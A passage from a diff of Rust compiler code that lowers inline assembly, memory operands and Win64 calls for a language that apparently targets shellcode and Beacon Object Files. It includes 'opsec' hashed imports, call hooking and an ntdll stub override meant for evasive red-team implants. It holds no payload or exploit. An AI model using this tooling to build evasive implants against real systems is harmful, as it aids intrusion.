3 bytes, implicit zero-extend to rax + self.enc.emit_raw(0x0F); + self.enc.emit_raw(0xB6); self.enc.emit_raw(0xC0); + } + "&" => self.enc.and_r64_r64(Reg64::Rax, Reg64::Rcx), + "|" => self.enc.or_r64_r64 (Reg64::Rax, Reg64::Rcx), + "^" => self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rcx), + "<<" => self.enc.shl_r64_cl(Reg64::Rax), + ">>" => self.enc.sar_r64_cl(Reg64::Rax), + _ => return Err(format!("unknown binary op: {op}")), + } + Ok(()) + } + + + fn gen_asm(&mut self, lines: &[AsmLine]) -> Result<(), String> { + // Per-asm-block label prefix. Bumped once per asm { ... } + // so a function with two asm blocks declaring loop_top: + // doesn't collide. + let block_id = self.label_counter; + self.label_counter += 1; + let mangle = |name: &str| format!("__asm{block_id}_{name}"); + + for line in lines { + if !matches!(line.body, AsmBody::Label(_)) { + self.enc.dbg_mark(line.line, line.col, "asm"); + } + + match &line.body { + AsmBody::Label(name) => { + let lbl = mangle(name); + self.enc.place_code_label(&lbl); + } + AsmBody::Db(bytes) => { + for b in bytes { self.enc.emit_raw(*b); } + } + AsmBody::Op0 { mnem } => self.gen_asm_op0(mnem)?, + AsmBody::Op1 { mnem, op } => self.gen_asm_op1(mnem, op, &mangle)?, + AsmBody::Op2 { mnem, dst, src } => self.gen_asm_op2(mnem, dst, src)?, + } + } + Ok(()) + } + + fn gen_asm_op0(&mut self, mnem: &str) -> Result<(), String> { + match mnem { + "ret" => self.enc.ret(), + "nop" => self.enc.nop(), + "int3" => self.enc.int3(), + "syscall" => self.enc.syscall_(), + "cld" => self.enc.cld(), + other => return Err(format!("asm: unknown 0-operand mnemonic `{other}`")), + } + Ok(()) + } + + fn gen_asm_op1 String>( + &mut self, mnem: &str, op: &AsmOperand, mangle: &F, + ) -> Result<(), String> { + // Jump / call mnemonics - operand is a label (asm-local or + // function-symbol) OR a register (indirect call/jmp). + let jcc = match mnem { + "je" | "jz" => Some(Cond::Eq), + "jne" | "jnz" => Some(Cond::Ne), + "jl" => Some(Cond::Lt), + "jg" => Some(Cond::Gt), + "jle" => Some(Cond::Le), + "jge" => Some(Cond::Ge), + "jb" => Some(Cond::B), + "jbe" => Some(Cond::Be), + "ja" => Some(Cond::A), + "jae" => Some(Cond::Ae), + "js" => Some(Cond::S), + "jns" => Some(Cond::Ns), + _ => None, + }; + if let Some(cond) = jcc { + return self.gen_asm_branch_to(op, mangle, |enc, lbl| enc.jcc_label(cond, lbl)); + } + if mnem == "jmp" { + return match op { + AsmOperand::Reg(r) => { self.enc.jmp_r64(*r); Ok(()) } + _ => self.gen_asm_branch_to(op, mangle, |enc, lbl| enc.jmp_label(lbl)), + }; + } + if mnem == "call" { + return match op { + AsmOperand::Reg(r) => { self.enc.call_r64(*r); Ok(()) } + AsmOperand::Sym(name) => { + if self.fn_ret_types.contains_key(name) && !self.extern_fns.contains(name) { + self.enc.call_label(name); + Ok(()) + } else if self.extern_fns.contains(name) { + if !self.kind.is_object() { + return Err(format!( + "asm: `call %{name}` - `{name}` is `extern`, \ + only callable in --type=bof|coff builds." + )); + } + let imp = format!("__imp_{name}"); + self.enc.call_extern(&imp); + Ok(()) + } else { + Err(format!("asm: `call %{name}` - no function named `{name}` in scope")) + } + } + AsmOperand::Mem(mem) => { + self.emit_load_mem(Reg64::Rax, mem)?; + self.enc.call_r64(Reg64::Rax); + Ok(()) + } + AsmOperand::Imm(_) => Err("asm: `call ` - immediate not supported".into()), + }; + } + + // Single-register / single-operand ops. + match mnem { + "push" => match op { + AsmOperand::Reg(r) => { self.enc.push_r64(*r); Ok(()) } + AsmOperand::Imm(n) => { + // push imm32 - sign-extended to 64. + let imm = (*n as i64) as i32; + if (*n as i64) != imm as i64 { + return Err(format!("asm: `push {n}` - immediate out of i32 range")); + } + self.enc.push_imm32(imm); + Ok(()) + } + AsmOperand::Sym(name) => { + // push %local - push the local's VALUE. + self.emit_load_sym_into(Reg64::Rax, name)?; + self.enc.push_r64(Reg64::Rax); + Ok(()) + } + AsmOperand::Mem(mem) => { + self.emit_load_mem(Reg64::Rax, mem)?; + self.enc.push_r64(Reg64::Rax); + Ok(()) + } + }, + "pop" => match op { + AsmOperand::Reg(r) => { self.enc.pop_r64(*r); Ok(()) } + AsmOperand::Sym(name) => { + // pop %local - pop into rax, then store. + self.enc.pop_r64(Reg64::Rax); + self.emit_store_sym_from(name, Reg64::Rax) + } + _ => Err("asm: `pop` requires a register or %local destination".into()), + }, + "inc" | "dec" | "neg" | "not" | "bswap" => { + let reg = match op { + AsmOperand::Reg(r) => *r, + _ => return Err(format!("asm: `{mnem}` requires a register operand")), + }; + match mnem { + "inc" => self.enc.inc_r64(reg), + "dec" => self.enc.dec_r64(reg), + "neg" => self.enc.neg_r64(reg), + "not" => self.enc.not_r64(reg), + "bswap" => self.enc.bswap_r64(reg), + _ => unreachable!(), + } + Ok(()) + } + other => Err(format!("asm: unknown 1-operand mnemonic `{other}`")), + } + } + + /// Helper for jmp/jcc targeting - operand may be a %name + /// (function symbol) or a bare identifier we wrap as an + /// asm-local label. + fn gen_asm_branch_to( + &mut self, op: &AsmOperand, mangle: &F, emit: E, + ) -> Result<(), String> + where + F: Fn(&str) -> String, + E: FnOnce(&mut Encoder, &str), + { + let target = match op { + AsmOperand::Sym(name) => { + // A %name in a jump position means a function + // symbol (e.g. jmp %retry). Anything else is an + // asm-local label. + if self.fn_ret_types.contains_key(name) && !self.extern_fns.contains(name) { + name.clone() + } else { + mangle(name) + } + } + AsmOperand::Reg(_) | AsmOperand::Imm(_) | AsmOperand::Mem(_) => { + return Err("asm: jump target must be a label (use `jmp reg` for indirect)".into()); + } + }; + emit(&mut self.enc, &target); + Ok(()) + } + + fn gen_asm_op2( + &mut self, mnem: &str, dst: &AsmOperand, src: &AsmOperand, + ) -> Result<(), String> { + // cmovcc - condition nibble shared with jcc. + let cmov = match mnem { + "cmove" | "cmovz" => Some(Cond::Eq), + "cmovne" | "cmovnz" => Some(Cond::Ne), + "cmovl" => Some(Cond::Lt), + "cmovg" => Some(Cond::Gt), + "cmovle" => Some(Cond::Le), + "cmovge" => Some(Cond::Ge), + "cmovb" => Some(Cond::B), + "cmovbe" => Some(Cond::Be), + "cmova" => Some(Cond::A), + "cmovae" => Some(Cond::Ae), + "cmovs" => Some(Cond::S), + "cmovns" => Some(Cond::Ns), + _ => None, + }; + if let Some(cond) = cmov { + return self.gen_asm_cmov(cond, dst, src); + } + match mnem { + "mov" => self.gen_asm_mov(dst, src), + "lea" => self.gen_asm_lea(dst, src), + "movsxb" | "movsxw" | "movsxd" => { + self.gen_asm_movsx(mnem, dst, src) + } + "rol" | "ror" => self.gen_asm_rotate(mnem, dst, src), + "xchg" => self.gen_asm_xchg(dst, src), + "add" | "sub" | "xor" | "and" | "or" | "cmp" | "test" => { + self.gen_asm_alu2(mnem, dst, src) + } + other => Err(format!("asm: unknown 2-operand mnemonic `{other}`")), + } + } + + /// cmovcc dst, src - reg-reg only. + fn gen_asm_cmov( + &mut self, cond: Cond, dst: &AsmOperand, src: &AsmOperand, + ) -> Result<(), String> { + let d = match dst { + AsmOperand::Reg(r) => *r, + _ => return Err("asm: `cmovcc` destination must be a register".into()), + }; + let s = match src { + AsmOperand::Reg(r) => *r, + _ => return Err( + "asm: `cmovcc` source must be a register (load from memory first)".into() + ), + }; + self.enc.cmovcc_r64_r64(cond, d, s); + Ok(()) + } + + /// rol/ror dst, imm8 or rol/ror dst, cl. + fn gen_asm_rotate( + &mut self, mnem: &str, dst: &AsmOperand, src: &AsmOperand, + ) -> Result<(), String> { + let d = match dst { + AsmOperand::Reg(r) => *r, + _ => return Err(format!("asm: `{mnem}` destination must be a register")), + }; + match src { + AsmOperand::Imm(n) => { + let count = u8::try_from(*n & 0x3F).map_err(|_| { + format!("asm: `{mnem}` rotate count must fit in u8") + })?; + match mnem { + "rol" => self.enc.rol_r64_imm8(d, count), + "ror" => self.enc.ror_r64_imm8(d, count), + _ => unreachable!(), + } + Ok(()) + } + // cl parses as Sym since the parser only knows r64 names. + AsmOperand::Sym(name) if name == "cl" => { + match mnem { + "rol" => self.enc.rol_r64_cl(d), + "ror" => self.enc.ror_r64_cl(d), + _ => unreachable!(), + } + Ok(()) + } + AsmOperand::Reg(Reg64::Rcx) => { + match mnem { + "rol" => self.enc.rol_r64_cl(d), + "ror" => self.enc.ror_r64_cl(d), + _ => unreachable!(), + } + Ok(()) + } + AsmOperand::Reg(_) => Err(format!( + "asm: `{mnem} reg, reg` - the count register must be cl (or rcx)" + )), + _ => Err(format!( + "asm: `{mnem}` source must be an immediate count or cl" + )), + } + } + + /// movsxb/w/d dst, [mem] or movsxd dst, r32. + fn gen_asm_movsx( + &mut self, mnem: &str, dst: &AsmOperand, src: &AsmOperand, + ) -> Result<(), String> { + let d = match dst { + AsmOperand::Reg(r) => *r, + _ => return Err(format!("asm: `{mnem}` destination must be a register")), + }; + match (mnem, src) { + (_, AsmOperand::Mem(mem)) => { + let seg = mem.seg; + match self.mem_addressing(mem)? { + ResolvedMem::RbpDisp(disp) => { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + match mnem { + "movsxb" => self.enc.movsx_r64_byte_r64disp(d, Reg64::Rbp, disp), + "movsxw" => self.enc.movsx_r64_word_r64disp(d, Reg64::Rbp, disp), + "movsxd" => self.enc.movsxd_r64_r64disp(d, Reg64::Rbp, disp), + _ => unreachable!(), + } + Ok(()) + } + ResolvedMem::BaseDisp { base, disp } => { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + match mnem { + "movsxb" => self.enc.movsx_r64_byte_r64disp(d, base, disp), + "movsxw" => self.enc.movsx_r64_word_r64disp(d, base, disp), + "movsxd" => self.enc.movsxd_r64_r64disp(d, base, disp), + _ => unreachable!(), + } + Ok(()) + } + ResolvedMem::SegAbs { .. } => Err(format!( + "asm: `{mnem}` with a segmented disp-only operand is not supported - \ + load through a base register first" + )), + _ => Err(format!( + "asm: `{mnem}` indexed / data / sym memory addressing not yet supported" + )), + } + } + ("movsxd", AsmOperand::Reg(s)) => { + self.enc.movsxd_r64_r64(d, *s); + Ok(()) + } + (_, AsmOperand::Reg(_)) => Err(format!( + "asm: `{mnem} reg, reg` is not supported - use a [mem] source" + )), + _ => Err(format!( + "asm: `{mnem}` source must be a memory operand" + )), + } + } + + /// xchg a, b - reg-reg only. + fn gen_asm_xchg( + &mut self, dst: &AsmOperand, src: &AsmOperand, + ) -> Result<(), String> { + let a = match dst { + AsmOperand::Reg(r) => *r, + _ => return Err("asm: `xchg` operands must both be registers".into()), + }; + let b = match src { + AsmOperand::Reg(r) => *r, + _ => return Err("asm: `xchg` operands must both be registers".into()), + }; + self.enc.xchg_r64_r64(a, b); + Ok(()) + } + + /// Lower mov dst, src over every dst/src shape we accept. + fn gen_asm_mov(&mut self, dst: &AsmOperand, src: &AsmOperand) -> Result<(), String> { + match (dst, src) { + // mov reg, reg + (AsmOperand::Reg(d), AsmOperand::Reg(s)) => { + self.enc.mov_r64_r64(*d, *s); Ok(()) + } + // mov reg, imm + (AsmOperand::Reg(d), AsmOperand::Imm(n)) => { + self.enc.mov_r64_imm64(*d, *n as u64); Ok(()) + } + // mov reg, %name + (AsmOperand::Reg(d), AsmOperand::Sym(name)) => { + self.emit_load_sym_into(*d, name) + } + // mov reg, [mem] + (AsmOperand::Reg(d), AsmOperand::Mem(mem)) => { + self.emit_load_mem(*d, mem) + } + // mov %name, reg + (AsmOperand::Sym(name), AsmOperand::Reg(s)) => { + self.emit_store_sym_from(name, *s) + } + // mov %name, imm + (AsmOperand::Sym(name), AsmOperand::Imm(n)) => { + self.enc.mov_r64_imm64(Reg64::Rax, *n as u64); + self.emit_store_sym_from(name, Reg64::Rax) + } + // mov [mem], reg + (AsmOperand::Mem(mem), AsmOperand::Reg(s)) => { + self.emit_store_mem(mem, *s) + } + // mov [mem], imm - synthesize via rax scratch. + (AsmOperand::Mem(mem), AsmOperand::Imm(n)) => { + self.enc.mov_r64_imm64(Reg64::Rax, *n as u64); + self.emit_store_mem(mem, Reg64::Rax) + } + (AsmOperand::Imm(_), _) => { + Err("asm: `mov , ...` - destination can't be an immediate".into()) + } + _ => Err("asm: unsupported `mov` operand combination".into()), + } + } + + /// lea reg, src - load effective address. src must produce + /// an address: a [mem] operand, a %global (rip-relative + /// data label), or a %fn (rip-relative code label). + fn gen_asm_lea(&mut self, dst: &AsmOperand, src: &AsmOperand) -> Result<(), String> { + let d = match dst { + AsmOperand::Reg(r) => *r, + _ => return Err("asm: `lea` destination must be a register".into()), + }; + match src { + AsmOperand::Mem(mem) => self.emit_lea_mem(d, mem), + AsmOperand::Sym(name) => { + if self.fn_ret_types.contains_key(name) && !self.extern_fns.contains(name) { + self.enc.lea_r64_code(d, name); + Ok(()) + } else if let Some(label) = self.global_label(name) { + self.enc.lea_r64_data(d, &label); + Ok(()) + } else if let Some(&off) = self.locals.get(name) { + self.enc.lea_r64_r64disp(d, Reg64::Rbp, off); + Ok(()) + } else { + Err(format!( + "asm: `lea {d:?}, %{name}` - `{name}` is not a local, global, or function" + )) + } + } + _ => Err("asm: `lea` source must be a memory operand, %local, %global, or %fn".into()), + } + } + + /// Lower add/sub/xor/and/or/cmp/test dst, src. Routes by + /// operand shape - we mostly need (reg,reg), (reg,imm), and + /// the convenience (reg,%local) load-then-op shape. + fn gen_asm_alu2( + &mut self, mnem: &str, dst: &AsmOperand, src: &AsmOperand, + ) -> Result<(), String> { + let d = match dst { + AsmOperand::Reg(r) => *r, + _ => return Err(format!("asm: `{mnem}` destination must be a register")), + }; + // Materialise src into a register (rcx if dst != rcx, else rdx). + let s_reg = match src { + AsmOperand::Reg(r) => *r, + AsmOperand::Imm(n) => { + let imm_i32 = i32::try_from(*n).map_err(|_| { + format!("asm: `{mnem}` immediate {n} out of i32 range") + })?; + match mnem { + "add" => { self.enc.add_r64_imm32(d, imm_i32); return Ok(()); } + "sub" => { self.enc.sub_r64_imm32(d, imm_i32); return Ok(()); } + "xor" => { self.enc.xor_r64_imm32(d, imm_i32); return Ok(()); } + "and" => { self.enc.and_r64_imm32(d, imm_i32); return Ok(()); } + "or" => { self.enc.or_r64_imm32(d, imm_i32); return Ok(()); } + "cmp" => { self.enc.cmp_r64_imm32(d, imm_i32); return Ok(()); } + "test" => { + // No test reg, imm in our encoder yet - + // route through rcx scratch. + let scratch = if d == Reg64::Rcx { Reg64::Rdx } else { Reg64::Rcx }; + self.enc.mov_r64_imm64(scratch, *n as u64); + self.enc.test_r64_r64(d, scratch); + return Ok(()); + } + _ => unreachable!(), + } + } + AsmOperand::Sym(name) => { + let scratch = if d == Reg64::Rcx { Reg64::Rdx } else { Reg64::Rcx }; + self.emit_load_sym_into(scratch, name)?; + scratch + } + AsmOperand::Mem(mem) => { + let scratch = if d == Reg64::Rcx { Reg64::Rdx } else { Reg64::Rcx }; + self.emit_load_mem(scratch, mem)?; + scratch + } + }; + match mnem { + "add" => self.enc.add_r64_r64(d, s_reg), + "sub" => self.enc.sub_r64_r64(d, s_reg), + "xor" => self.enc.xor_r64_r64(d, s_reg), + "and" => self.enc.and_r64_r64(d, s_reg), + "or" => self.enc.or_r64_r64(d, s_reg), + "cmp" => self.enc.cmp_r64_r64(d, s_reg), + "test" => self.enc.test_r64_r64(d, s_reg), + _ => unreachable!(), + } + Ok(()) + } + + + /// Look up name and emit mov dst, . + fn emit_load_sym_into(&mut self, dst: Reg64, name: &str) -> Result<(), String> { + if let Some(&off) = self.locals.get(name) { + self.enc.mov_r64_rbp_disp(dst, off); + return Ok(()); + } + if let Some(label) = self.global_label(name) { + self.enc.mov_r64_data(dst, &label); + return Ok(()); + } + if self.fn_ret_types.contains_key(name) && !self.extern_fns.contains(name) { + // mov reg, %fn - accepted as a synonym for lea reg, %fn + // since loading a function's "value" only makes sense as + // its address. + self.enc.lea_r64_code(dst, name); + return Ok(()); + } + Err(format!("asm: `%{name}` - not a local, global, or function in scope")) + } + + /// Store src into the location named by name. Locals get a + /// frame-slot store; globals get a rip-relative store; function + /// names are an error (you can't assign to code). + fn emit_store_sym_from(&mut self, name: &str, src: Reg64) -> Result<(), String> { + if let Some(&off) = self.locals.get(name) { + self.enc.mov_rbp_disp_r64(off, src); + return Ok(()); + } + if let Some(label) = self.global_label(name) { + self.enc.mov_data_r64(&label, src); + return Ok(()); + } + if self.fn_ret_types.contains_key(name) { + return Err(format!("asm: cannot assign to function `{name}`")); + } + Err(format!("asm: `%{name}` - not a local or global in scope")) + } + + /// mov dst, [mem] - qword load. Narrower widths via db for now. + fn emit_load_mem(&mut self, dst: Reg64, mem: &AsmMem) -> Result<(), String> { + let seg = mem.seg; + let resolved = self.mem_addressing(mem)?; + // RIP-relative loads ignore segment overrides. + if seg.is_some() && matches!(resolved, ResolvedMem::RipData(_)) { + return Err( + "asm: segment override on a `%global` address is meaningless \ + (RIP-relative loads ignore segments). Drop the `gs:` / `fs:` prefix.".into() + ); + } + match resolved { + ResolvedMem::RbpDisp(disp) => { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + self.enc.mov_r64_rbp_disp(dst, disp); + } + ResolvedMem::BaseDisp { base, disp } => { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + self.enc.mov_r64_r64disp(dst, base, disp); + } + ResolvedMem::SegAbs { disp } => { + let s = seg.expect("SegAbs implies seg override"); + self.enc.emit_seg_prefix(s); + self.enc.mov_r64_disp32(dst, disp); + } + ResolvedMem::BaseIdx { base, idx, scale, disp } => { + // Encoder only has no-disp SIB; for disp != 0 we lea then load. + if disp == 0 { + match scale { + 8 => { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + self.enc.mov_r64_base_idx(dst, base, idx); + } + _ => return Err(format!( + "asm: indexed load with scale {scale} not yet supported (use 8 for qword)" + )), + } + } else { + if seg.is_some() { + return Err( + "asm: indexed memory with a non-zero displacement plus a \ + segment override is not supported - load the address into \ + a register first.".into() + ); + } + self.enc.lea_r64_base_idx_scale(dst, base, idx, scale); + if disp != 0 { self.enc.add_r64_imm32(dst, disp); } + self.enc.mov_r64_r64disp(dst, dst, 0); + } + } + ResolvedMem::RipData(label) => { + self.enc.mov_r64_data(dst, &label); + } + } + Ok(()) + } + + /// mov [mem], src - qword store. Mirror of emit_load_mem. + fn emit_store_mem(&mut self, mem: &AsmMem, src: Reg64) -> Result<(), String> { + let seg = mem.seg; + let resolved = self.mem_addressing(mem)?; + if seg.is_some() && matches!(resolved, ResolvedMem::RipData(_)) { + return Err( + "asm: segment override on a `%global` address is meaningless \ + (RIP-relative stores ignore segments). Drop the `gs:` / `fs:` prefix.".into() + ); + } + match resolved { + ResolvedMem::RbpDisp(disp) => { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + self.enc.mov_rbp_disp_r64(disp, src); + } + ResolvedMem::BaseDisp { base, disp } => { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + self.enc.mov_r64disp_r64(base, disp, src); + } + ResolvedMem::SegAbs { disp } => { + let s = seg.expect("SegAbs implies seg override"); + self.enc.emit_seg_prefix(s); + self.enc.mov_disp32_r64(disp, src); + } + ResolvedMem::BaseIdx { base, idx, scale, disp } => { + if disp == 0 && scale == 8 { + if let Some(s) = seg { self.enc.emit_seg_prefix(s); } + self.enc.mov_qword_base_idx_r64(base, idx, src); + } else { + return Err(format!( + "asm: indexed store with scale {scale}/disp {disp} \ + not yet supported (use [reg+reg*8] without disp)" + )); + } + } + ResolvedMem::RipData(label) => { + self.enc.mov_data_r64(&label, src); + } + } + Ok(()) + } + + /// lea dst, [mem] - effective-address computation. + /// Segment overrides are nonsense on lea and rejected. + fn emit_lea_mem(&mut self, dst: Reg64, mem: &AsmMem) -> Result<(), String> { + if mem.seg.is_some() { + return Err( + "asm: `lea` does not accept a segment-override prefix - effective \ + addresses are computed without consulting any segment.".into() + ); + } + match self.mem_addressing(mem)? { + ResolvedMem::RbpDisp(disp) => { + self.enc.lea_r64_r64disp(dst, Reg64::Rbp, disp); + } + ResolvedMem::BaseDisp { base, disp } => { + self.enc.lea_r64_r64disp(dst, base, disp); + } + ResolvedMem::BaseIdx { base, idx, scale, disp } => { + self.enc.lea_r64_base_idx_scale(dst, base, idx, scale); + if disp != 0 { self.enc.add_r64_imm32(dst, disp); } + } + ResolvedMem::RipData(label) => { + self.enc.lea_r64_data(dst, &label); + } + ResolvedMem::SegAbs { .. } => { + // Unreachable past the seg guard above; defensive only. + return Err( + "asm: `lea` does not accept disp-only memory operands".into() + ); + } + } + Ok(()) + } + + /// Translate a parsed AsmMem into one of the addressing + /// shapes the encoder knows how to emit. Resolves %name + /// bases to the right concrete form. + fn mem_addressing(&self, mem: &AsmMem) -> Result { + match (&mem.base, &mem.index) { + // [reg] / [reg + disp] + (Some(AsmMemBase::Reg(base)), None) => { + if *base == Reg64::Rbp { + Ok(ResolvedMem::RbpDisp(mem.disp)) + } else { + Ok(ResolvedMem::BaseDisp { base: *base, disp: mem.disp }) + } + } + // [reg + idx*scale + disp] + (Some(AsmMemBase::Reg(base)), Some((idx, scale))) => { + Ok(ResolvedMem::BaseIdx { base: *base, idx: *idx, scale: *scale, disp: mem.disp }) + } + // [%name + disp] - must be a local or global, NOT a function. + (Some(AsmMemBase::Sym(name)), None) => { + if let Some(&off) = self.locals.get(name) { + Ok(ResolvedMem::RbpDisp(off.wrapping_add(mem.disp))) + } else if let Some(label) = self.global_label(name) { + if mem.disp != 0 { + return Err(format!( + "asm: `[%{name} + {}]` - non-zero disp on a global isn't supported yet", + mem.disp + )); + } + Ok(ResolvedMem::RipData(label)) + } else { + Err(format!("asm: `[%{name}]` - `{name}` is not a local or global")) + } + } + (Some(AsmMemBase::Sym(_)), Some(_)) => { + Err("asm: `[%name + reg*scale]` - combining %sym with an index isn't supported. \ + `lea` the address into a register first.".into()) + } + (None, Some(_)) => { + Err("asm: `[idx*scale]` without a base register isn't supported".into()) + } + (None, None) => { + // Disp-only is only meaningful with a seg override. + if mem.seg.is_none() { + return Err("asm: empty `[]` memory operand".into()); + } + Ok(ResolvedMem::SegAbs { disp: mem.disp }) + } + } + } + + /// Find the data-section label for a top-level static, by name. + /// Returns None if no static named name exists. + fn global_label(&self, name: &str) -> Option { + let idx = *self.globals_idx.get(name)?; + Some(self.globals[idx].label.clone()) + } + + fn lookup_hook(&self, target: &str) -> Option { + let hook_fn = self.hooks.map.get(target)?; + if self.current_fn_hook.no_hook_all { return None; } + if self.current_fn_hook.no_hook.contains(target) { return None; } + if self.current_fn_hook.is_hook_for.as_deref() == Some(target) { + return None; + } + Some(hook_fn.clone()) + } + + fn gen_call(&mut self, ns: &str, fname: &str, args: &[Expr]) -> Result<(), String> { + if ns == "mem" { + return self.gen_mem_call(fname, args); + } + if ns == "gc" { + return Err(format!( + "intrinsic `gc.{fname}` was renamed - use `mem.{fname}` \ + (gc.alloc to mem.alloc). The memory primitives now live \ + under `mem.*` (alloc, set, copy, zero, cmp)." + )); + } + if ns == "shared" { + return self.gen_shared_call(fname, args); + } + if ns == "str" { + return self.gen_str_call(fname, args); + } + + let struct_ret_ty = if ns.is_empty() { + self.fn_ret_types.get(fname) + .filter(|t| self.struct_layouts.contains_key(t.as_str())) + .cloned() + } else { + None + }; + let mut hidden_buf: Option<(String, i32)> = None; + let synth_args; + let args_for_lowering: &[Expr] = if let Some(ref ret_ty) = struct_ret_ty { + let size = self.struct_layouts[ret_ty].size; + let name = format!("__call_ret_{}", self.label_counter); + self.label_counter += 1; + let off = self.alloc_local_sized(&name, size); + hidden_buf = Some((name.clone(), off)); + // The hidden first arg is the address of the just-allocated + // slot. Express it as a &__call_ret_N AST node so it flows + // through the standard gen_call_args path unchanged. + let mut v: Vec = Vec::with_capacity(args.len() + 1); + v.push(Expr::Unary { + op: "&".into(), + operand: Box::new(Expr::Var(name)), + }); + // Mark the synthetic local in scope so &name resolves. + self.local_types.insert( + hidden_buf.as_ref().unwrap().0.clone(), + ret_ty.clone(), + ); + v.extend_from_slice(args); + synth_args = v; + &synth_args + } else { + args + }; + + // Generic call lowering. Returns the number of bytes pre-allocated + // on the stack that need to be freed after the call returns. + let cleanup = self.gen_call_args(args_for_lowering)?; + + // Emit the call instruction itself. Path is identical for ≤4-arg + // and >4-arg flavours; only arg lowering differs. + if ns.is_empty() { + if let Some(&off) = self.locals.get(fname) { + self.enc.mov_r64_rbp_disp(Reg64::Rax, off); + self.enc.call_r64(Reg64::Rax); + } else if let Some(&idx) = self.globals_idx.get(fname) { + let label = self.globals[idx].label.clone(); + self.enc.mov_r64_data(Reg64::Rax, &label); + self.enc.call_r64(Reg64::Rax); + } else if self.extern_fns.contains(fname) { + match self.kind { + BuildKind::Standard => { + return Err(format!( + "`{fname}` is declared `extern` (typically a Beacon \ + API symbol). It can only be called when compiled \ + with `--type=bof` (or `--type=coff`). For standard \ + shellcode, use the Win32 namespace syntax (e.g. \ + `Kernel32.SomeFunction(...)`)." + )); + } + BuildKind::Bof | BuildKind::Coff => { + if let Some(hook_fn) = self.lookup_hook(fname) { + self.enc.call_label(&hook_fn); + } else { + let imp = format!("__imp_{fname}"); + self.enc.call_extern(&imp); + } + } + } + } else { + self.enc.call_label(fname); + } + } else if INTRINSIC_NAMESPACES.contains(&ns) { + // Reached here only if an intrinsic namespace exposed an unknown + // function name. Surface a precise error so users don't think + // they're calling into a DLL named e.g. "mem". + return Err(format!("unknown intrinsic: {ns}.{fname}")); + } else if self.kind.is_object() { + let lib_upper = ns.trim_end_matches(".dll").to_ascii_uppercase(); + let target_sym = format!("{lib_upper}${fname}"); + // Hook redirect - same machinery as for externs, but + // keyed on the LIB$Func form (matches what the user + // writes in [Hook]). + if let Some(hook_fn) = self.lookup_hook(&target_sym) { + self.enc.call_label(&hook_fn); + } else if self.opsec.hashed_imports && !is_beacon_api(fname) { + let dll = normalize_dll_name(ns); + let slot = resolver::slot_label(&dll, fname); + if !self.imports.iter().any(|i| i.slot == slot) { + self.imports.push(Import { + dll: dll.clone(), + func: fname.to_string(), + slot: slot.clone(), + }); + self.enc.add_bss(&slot, 8); + } + self.enc.call_indirect_data(&slot); + } else { + let sym = format!("__imp_{target_sym}"); + self.enc.call_extern(&sym); + } + } else { + let dll = normalize_dll_name(ns); + let slot = resolver::slot_label(&dll, fname); + if !self.imports.iter().any(|i| i.slot == slot) { + self.imports.push(Import { + dll: dll.clone(), + func: fname.to_string(), + slot: slot.clone(), + }); + self.enc.add_bss(&slot, 8); + } + if dll == "ntdll.dll" { + if let Some(stub) = self.overrides.ntcall.clone() { + self.enc.mov_r64_data(Reg64::Rax, &slot); + self.enc.call_label(&stub); + } else { + self.enc.call_indirect_data(&slot); + } + } else { + self.enc.call_indirect_data(&slot); + } + } + + // Stack cleanup for the large-arg path. + if cleanup > 0 { + self.enc.add_r64_imm32(Reg64::Rsp, cleanup); + } + + if let Some((_name, off)) = hidden_buf { + self.enc.lea_r64_r64disp(Reg64::Rax, Reg64::Rbp, off); + } + Ok(()) + } + + fn gen_call_args(&mut self, args: &[Expr]) -> Result { + let arg_regs = [Reg64::Rcx, Reg64::Rdx, Reg64::R8, Reg64::R9]; + let n = args.len(); + let stack_args = n.saturating_sub(4); + let reg_args = n.min(4); + let raw = 32 + stack_args * 8 + reg_args * 8; + let total = ((raw + 15) / 16) * 16; + + self.enc.sub_r64_imm32(Reg64::Rsp, total as i32); + let temp_base = 32 + (stack_args as i32) * 8; + + for (i, a) in args.iter().enumerate() { + self.gen_expr(a)?; + let offset = if i < 4 { + temp_base + (i as i32) * 8 + } else { + 32 + ((i - 4) as i32) * 8 + }; + self.enc.mov_r64disp_r64(Reg64::Rsp, offset, Reg64::Rax); + } + + // Load the in-register args from their temp slots. + for (i, reg) in arg_regs.iter().take(reg_args).enumerate() { + let offset = temp_base + (i as i32) * 8; + self.enc.mov_r64_r64disp(*reg, Reg64::Rsp, offset); + } + Ok(total as i32) + } + + fn type_size(&self, ty: &str) -> usize { + if is_pointer_type(ty) { return 8; } + if let Some((elem, n)) = parse_array_type(ty) { + return self.type_size(elem) * n; + } + match ty { + "bool" | "int" | "str" | "wstr" => 8, + "i8" | "u8" => 1, + "i16" | "u16" => 2, + "i32" | "u32" => 4, + "i64" | "u64" => 8, + "void" => 1, + _ => self.struct_layouts.get(ty).map(|l| l.size).unwrap_or(8), + } + } + + fn type_align(&self, ty: &str) -> usize { + if let Some(l) = self.struct_layouts.get(ty) { return l.align; } + if let Some((elem, _)) = parse_array_type(ty) { + return self.type_align(elem); + } + let s = self.type_size(ty); + if s > 8 { 8 } else { s } + } + + fn is_array_type(ty: &str) -> bool { + parse_array_type(ty).is_some() + } + + /// Element type of an array (T[N] to T) or pointee of a pointer + /// (T* to T). Returns None if ty is neither - that's an + /// indexing error at the use site. + fn element_type(ty: &str) -> Option { + if let Some((elem, _)) = parse_array_type(ty) { + return Some(elem.to_string()); + } + pointee(ty).map(String::from) + } + + fn size_of_type(&self, ty: &str) -> usize { + if let Some(layout) = self.struct_layouts.get(ty) { return layout.size; } + if Self::is_array_type(ty) { return self.type_size(ty); } + 8 + } + + fn emit_static_initializers(&mut self) -> Result<(), String> { + for i in 0..self.globals.len() { + let init = self.globals[i].init.clone(); + let label = self.globals[i].label.clone(); + let ty = self.globals[i].ty.clone(); + if let Some(expr) = init { + if self.struct_layouts.contains_key(&ty) || Self::is_array_type(&ty) { + let kind = if Self::is_array_type(&ty) { "array" } else { "struct" }; + return Err(format!( + "static of {kind} type `{ty}` cannot have an initialiser in V1 \ + (assign each element/field at main entry instead)" + )); + } + self.gen_expr(&expr)?; + self.enc.mov_data_r64(&label, Reg64::Rax); + } + } + Ok(()) + } + + fn resolve_field(&self, base: &Expr, field: &str) -> Result<(i32, String, usize), String> { + let 